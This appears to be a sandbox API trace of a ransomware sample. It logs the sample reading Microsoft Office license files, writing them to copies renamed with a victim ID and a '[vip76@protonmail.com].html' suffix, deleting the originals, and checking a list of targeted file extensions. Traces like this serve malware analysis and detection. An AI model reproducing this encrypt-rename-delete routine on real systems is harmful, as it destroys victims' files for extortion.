	[0194.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0194.415] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.415] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0194.710] GetLastError () returned 0x0
	[0194.710] ReadFile (in: hFile=0x478, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x564e, lpOverlapped=0x0) returned 1
	[0194.712] WriteFile (in: hFile=0x5b4, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x5650, lpOverlapped=0x0) returned 1
	[0194.714] ReadFile (in: hFile=0x478, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.714] WriteFile (in: hFile=0x5b4, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x118, lpOverlapped=0x0) returned 1
	[0194.714] SetEndOfFile (hFile=0x5b4) returned 1
	[0194.714] CloseHandle (hObject=0x5b4) returned 1
	[0194.714] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.714] SetEndOfFile (hFile=0x478) returned 1
	[0194.718] CloseHandle (hObject=0x478) returned 1
	[0194.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.718] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms")) returned 1
	[0194.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0194.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0194.719] lstrlenW (lpString=".doc") returned 4
	[0194.719] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.719] lstrlenW (lpString=".docx") returned 5
	[0194.720] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.720] lstrlenW (lpString=".pdf") returned 4
	[0194.720] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.720] lstrlenW (lpString=".xls") returned 4
	[0194.720] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.720] lstrlenW (lpString=".xlsx") returned 5
	[0194.720] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.720] lstrlenW (lpString=".ppt") returned 4
	[0194.720] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0194.720] lstrlenW (lpString=".zip") returned 4
	[0194.720] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.720] lstrlenW (lpString=".rar") returned 4
	[0194.720] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.720] lstrlenW (lpString=".bz2") returned 4
	[0194.720] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.720] lstrlenW (lpString=".7z") returned 3
	[0194.720] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0194.720] lstrlenW (lpString=".dbf") returned 4
	[0194.720] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0194.720] lstrlenW (lpString=".1cd") returned 4
	[0194.720] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0194.720] lstrlenW (lpString=".jpg") returned 4
	[0194.720] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0194.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0194.721] lstrlenW (lpString=".doc") returned 4
	[0194.721] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.721] lstrlenW (lpString=".docx") returned 5
	[0194.721] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.721] lstrlenW (lpString=".pdf") returned 4
	[0194.721] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.721] lstrlenW (lpString=".xls") returned 4
	[0194.721] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.721] lstrlenW (lpString=".xlsx") returned 5
	[0194.721] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.721] lstrlenW (lpString=".ppt") returned 4
	[0194.721] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0194.721] lstrlenW (lpString=".zip") returned 4
	[0194.721] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.721] lstrlenW (lpString=".rar") returned 4
	[0194.721] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.721] lstrlenW (lpString=".bz2") returned 4
	[0194.721] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.721] lstrlenW (lpString=".7z") returned 3
	[0194.721] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0194.721] lstrlenW (lpString=".dbf") returned 4
	[0194.721] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0194.721] lstrlenW (lpString=".1cd") returned 4
	[0194.721] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0194.721] lstrlenW (lpString=".jpg") returned 4
	[0194.722] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.806] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0194.806] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 37
	[0194.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0194.966] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=19966) returned 1
	[0194.966] CloseHandle (hObject=0x5d8) returned 1
	[0194.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms")) returned 0x220
	[0195.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0195.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0196.049] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.049] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0196.443] GetLastError () returned 0x0
	[0196.443] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x4dfe, lpOverlapped=0x0) returned 1
	[0196.565] WriteFile (in: hFile=0x368, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0196.567] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0196.567] WriteFile (in: hFile=0x368, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0196.567] SetEndOfFile (hFile=0x368) returned 1
	[0196.567] CloseHandle (hObject=0x368) returned 1
	[0196.567] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.567] SetEndOfFile (hFile=0x5d8) returned 1
	[0196.570] CloseHandle (hObject=0x5d8) returned 1
	[0196.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0196.570] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms")) returned 1
	[0196.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0196.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0196.571] lstrlenW (lpString=".doc") returned 4
	[0196.571] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0196.571] lstrlenW (lpString=".docx") returned 5
	[0196.571] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0196.571] lstrlenW (lpString=".pdf") returned 4
	[0196.571] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0196.571] lstrlenW (lpString=".xls") returned 4
	[0196.571] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0196.571] lstrlenW (lpString=".xlsx") returned 5
	[0196.571] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0196.572] lstrlenW (lpString=".ppt") returned 4
	[0196.572] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0196.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0196.572] lstrlenW (lpString=".zip") returned 4
	[0196.572] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0196.572] lstrlenW (lpString=".rar") returned 4
	[0196.572] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0196.572] lstrlenW (lpString=".bz2") returned 4
	[0196.572] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0196.572] lstrlenW (lpString=".7z") returned 3
	[0196.572] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0196.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0196.572] lstrlenW (lpString=".dbf") returned 4
	[0196.572] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0196.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0196.572] lstrlenW (lpString=".1cd") returned 4
	[0196.572] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0196.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0196.572] lstrlenW (lpString=".jpg") returned 4
	[0196.572] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0196.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0196.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0196.572] lstrlenW (lpString=".doc") returned 4
	[0196.572] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0196.572] lstrlenW (lpString=".docx") returned 5
	[0196.572] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0196.572] lstrlenW (lpString=".pdf") returned 4
	[0196.572] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0196.572] lstrlenW (lpString=".xls") returned 4
	[0196.572] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0196.572] lstrlenW (lpString=".xlsx") returned 5
	[0196.572] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0196.573] lstrlenW (lpString=".ppt") returned 4
	[0196.573] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0196.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0196.573] lstrlenW (lpString=".zip") returned 4
	[0196.573] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0196.573] lstrlenW (lpString=".rar") returned 4
	[0196.573] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0196.573] lstrlenW (lpString=".bz2") returned 4
	[0196.573] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0196.573] lstrlenW (lpString=".7z") returned 3
	[0196.573] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0196.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0196.573] lstrlenW (lpString=".dbf") returned 4
	[0196.573] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0196.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0196.573] lstrlenW (lpString=".1cd") returned 4
	[0196.573] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0196.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0196.573] lstrlenW (lpString=".jpg") returned 4
	[0196.573] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0196.573] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0196.573] lstrlenW (lpString="HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 45
	[0196.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0196.574] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11669) returned 1
	[0196.574] CloseHandle (hObject=0x5d8) returned 1
	[0196.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220
	[0196.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0196.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0196.575] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.575] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0196.576] GetLastError () returned 0x0
	[0196.576] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2d95, lpOverlapped=0x0) returned 1
	[0196.632] WriteFile (in: hFile=0x368, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2da0, lpOverlapped=0x0) returned 1
	[0196.634] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0196.634] WriteFile (in: hFile=0x368, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x12e, lpOverlapped=0x0) returned 1
	[0196.634] SetEndOfFile (hFile=0x368) returned 1
	[0196.634] CloseHandle (hObject=0x368) returned 1
	[0196.634] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.634] SetEndOfFile (hFile=0x5d8) returned 1
	[0196.637] CloseHandle (hObject=0x5d8) returned 1
	[0196.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0196.637] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1
	[0196.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0196.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0196.639] lstrlenW (lpString=".doc") returned 4
	[0196.639] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0196.639] lstrlenW (lpString=".docx") returned 5
	[0196.639] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0196.639] lstrlenW (lpString=".pdf") returned 4
	[0196.639] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0196.639] lstrlenW (lpString=".xls") returned 4
	[0196.639] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0196.639] lstrlenW (lpString=".xlsx") returned 5
	[0196.639] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0196.639] lstrlenW (lpString=".ppt") returned 4
	[0196.639] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0196.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0196.639] lstrlenW (lpString=".zip") returned 4
	[0196.639] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0196.639] lstrlenW (lpString=".rar") returned 4
	[0196.639] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0196.639] lstrlenW (lpString=".bz2") returned 4
	[0196.639] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0196.639] lstrlenW (lpString=".7z") returned 3
	[0196.639] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0196.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0196.639] lstrlenW (lpString=".dbf") returned 4
	[0196.639] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0196.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0196.639] lstrlenW (lpString=".1cd") returned 4
	[0196.639] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0196.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0196.640] lstrlenW (lpString=".jpg") returned 4
	[0196.640] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0196.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0196.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0196.640] lstrlenW (lpString=".doc") returned 4
	[0196.640] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0196.640] lstrlenW (lpString=".docx") returned 5
	[0196.640] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0196.640] lstrlenW (lpString=".pdf") returned 4
	[0196.640] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0196.640] lstrlenW (lpString=".xls") returned 4
	[0196.640] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0196.640] lstrlenW (lpString=".xlsx") returned 5
	[0196.640] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0196.640] lstrlenW (lpString=".ppt") returned 4
	[0196.640] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0196.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0196.640] lstrlenW (lpString=".zip") returned 4
	[0196.640] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0196.640] lstrlenW (lpString=".rar") returned 4
	[0196.640] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0196.640] lstrlenW (lpString=".bz2") returned 4
	[0196.640] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0196.640] lstrlenW (lpString=".7z") returned 3
	[0196.640] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0196.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0196.640] lstrlenW (lpString=".dbf") returned 4
	[0196.640] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
